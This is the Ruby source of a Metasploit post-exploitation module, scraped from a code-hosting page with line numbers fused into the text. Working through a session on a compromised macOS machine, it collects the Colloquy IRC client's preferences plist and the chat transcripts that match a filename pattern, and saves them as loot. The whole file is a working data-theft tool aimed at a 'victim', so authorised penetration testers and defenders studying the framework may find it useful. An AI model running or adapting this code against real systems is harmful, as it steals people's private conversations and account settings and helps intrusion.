Path: blob/master/modules/post/osx/gather/enum_colloquy.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'OS X Gather Colloquy Enumeration',13'Description' => %q{14This module will collect Colloquy's info plist file and chat logs from the15victim's machine. There are three actions you may choose: INFO, CHATS, and16ALL. Please note that the CHAT action may take a long time depending on the17victim machine, therefore we suggest to set the regex 'PATTERN' option in order18to search for certain log names (which consists of the contact's name, and a19timestamp). The default 'PATTERN' is configured as "^alien" as an example20to search for any chat logs associated with the name "alien".21},22'License' => MSF_LICENSE,23'Author' => [ 'sinn3r'],24'Platform' => [ 'osx' ],25'SessionTypes' => [ 'meterpreter', 'shell' ],26'Actions' => [27['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ],28['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],29['ALL', { 'Description' => 'Collect both the plists and chat logs' }]30],31'DefaultAction' => 'ALL',32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [],35'Reliability' => []36}37)38)3940register_options(41[42OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']),43]44)45end4647#48# Parse a plst file to XML format:49# https://web.archive.org/web/20141112034745/http://hints.macworld.com/article.php?story=2005043010512639250#51def plutil(filename)52exec("plutil -convert xml1 #{filename}")53exec("cat #{filename}")54end5556def get_chatlogs(base)57chats = []5859# Get all the logs60print_status("#{@peer} - Download logs...")61folders = dir("\"#{base}\"")62folders.each do |f|63# Get all the transcripts from this folder64trans = exec("find \"#{base}#{f}\" -name *.colloquyTranscript")65trans.split("\n").each do |t|66fname = ::File.basename(t)67# Check fname before downloading it68next if fname !~ datastore['PATTERN']6970print_status("#{@peer} - Downloading #{t}")71content = exec("cat \"#{t}\"")72chats << { log_name: fname, content: content }73end74end7576return chats77end7879def get_preferences(path)80raw_plist = exec("cat #{path}")81return nil if raw_plist =~ /No such file or directory/8283xml_plist = plutil(path)84return xml_plist85end8687def save(type, data)88case type89when :preferences90p = store_loot(91'colloquy.preferences',92'text/plain',93session,94data,95'info.colloquy.plist'96)97print_good("#{@peer} - info.colloquy.plist saved as: #{p}")9899when :chatlogs100data.each do |d|101log_name = d[:log_name]102content = d[:content]103104p = store_loot(105'colloquy.chatlogs',106'text/plain',107session,108content,109log_name110)111print_good("#{@peer} - #{log_name} stored in #{p}")112end113end114end115116def whoami117exec('/usr/bin/whoami')118end119120def dir(path)121subdirs = exec("ls -l #{path}")122return [] if subdirs =~ /No such file or directory/123124items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten125return items126end127128def exec(cmd)129tries = 0130begin131cmd_exec(cmd).chomp132rescue ::Timeout::Error => e133tries += 1134if tries < 3135vprint_error("#{@peer} - #{e.message} - retrying...")136retry137end138rescue EOFError => e139tries += 1140if tries < 3141vprint_error("#{@peer} - #{e.message} - retrying...")142retry143end144end145end146147def run148if action.nil?149print_error('Please specify an action')150return151end152153@peer = "#{session.session_host}:#{session.session_port}"154user = whoami155156# Examples:157# /Users/[user]/Library/Preferences/info.colloquy.plist158# /Users/[user]/Documents/Colloquy Transcripts159# /Users/[user]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript160transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/"161prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist"162163prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i164chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i165166save(:preferences, prefs) if !prefs.nil? && !prefs.empty?167save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?168end169end170171172